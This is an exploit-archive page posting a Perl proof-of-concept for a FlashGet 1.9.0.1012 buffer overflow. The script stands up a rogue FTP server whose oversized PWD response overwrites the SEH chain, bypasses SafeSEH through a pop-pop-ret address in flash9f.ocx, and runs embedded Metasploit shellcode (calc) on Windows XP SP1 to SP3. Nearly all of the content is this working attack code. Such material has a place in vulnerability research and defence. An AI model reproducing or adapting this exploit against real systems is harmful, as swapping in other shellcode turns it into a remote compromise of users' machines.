exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

flashget1901012-overflow.txt

flashget1901012-overflow.txt
Posted Aug 18, 2008
Authored by k'sOSe | Site pornosecurity.org

FlashGet version 1.9.0.1012 FTP PWD Response remote proof of concept buffer overflow exploit.

tags | exploit, remote, overflow, proof of concept
SHA-256 | d1d88ce8131aeef632d51ba972fc221d0931fc545dd28d2e5d6028a0dc8877d6

flashget1901012-overflow.txt

Change Mirror Download
#!/usr/bin/perl
# k`sOSe 08/17/2008
# bypass safeseh using flash9f.ocx.

use warnings;
use strict;
use IO::Socket;

# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b".
"\xa3\x03\x10\x83\xeb\xfc\xe2\xf4\x97\x4b\x47\x10\x6b\xa3\x88\x55".
"\x57\x28\x7f\x15\x13\xa2\xec\x9b\x24\xbb\x88\x4f\x4b\xa2\xe8\x59".
"\xe0\x97\x88\x11\x85\x92\xc3\x89\xc7\x27\xc3\x64\x6c\x62\xc9\x1d".
"\x6a\x61\xe8\xe4\x50\xf7\x27\x14\x1e\x46\x88\x4f\x4f\xa2\xe8\x76".
"\xe0\xaf\x48\x9b\x34\xbf\x02\xfb\xe0\xbf\x88\x11\x80\x2a\x5f\x34".
"\x6f\x60\x32\xd0\x0f\x28\x43\x20\xee\x63\x7b\x1c\xe0\xe3\x0f\x9b".
"\x1b\xbf\xae\x9b\x03\xab\xe8\x19\xe0\x23\xb3\x10\x6b\xa3\x88\x78".
"\x57\xfc\x32\xe6\x0b\xf5\x8a\xe8\xe8\x63\x78\x40\x03\x53\x89\x14".
"\x34\xcb\x9b\xee\xe1\xad\x54\xef\x8c\xc0\x62\x7c\x08\xa3\x03\x10";

my @targets = ( "\x82\x01\x02\x30", "\x82\x01\x02\x30", "\x0b\x02\x01\x30" );

if( !defined($ARGV[0]) or $ARGV[0] !~ /^(1|2|3)$/ )
{
usage();
}

$ARGV[0]--;

my $sock = IO::Socket::INET->new(
LocalAddr => '0.0.0.0',
LocalPort => '21',
Listen => 1,
Reuse => 1
) || die($!);

while(my $csock = $sock->accept())
{

print $csock "220 Hello ;)\r\n";
read_sock($csock);

print $csock "331 pwd please\r\n";
read_sock($csock);

print $csock "230 OK\r\n";
read_sock($csock);

print $csock "250 CWD command successful.\r\n";
read_sock($csock);

print $csock "257 " . "\x22" .
"\x41" x 324 .

"\xEB\x06\x90\x90" . # jump ahead
$targets[$ARGV[0]] . # pop,pop,ret @ flash9f.ocx, thanks macromedia for avoiding /SAFESEH ;)

$shellcode .

"\x90" x 840 .
"\x22" .
" is current directory.\r\n";

close($csock);
exit;
}



sub read_sock
{
my ($sock) = @_;

my $buf = <$sock>;

print "[client] -> $buf";

}

sub usage
{
print "usage: $0 [1,2,3]
1 -> Windows XP SP1
2 -> Windows XP SP2
3 -> Windows XP SP3\n";
exit;
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close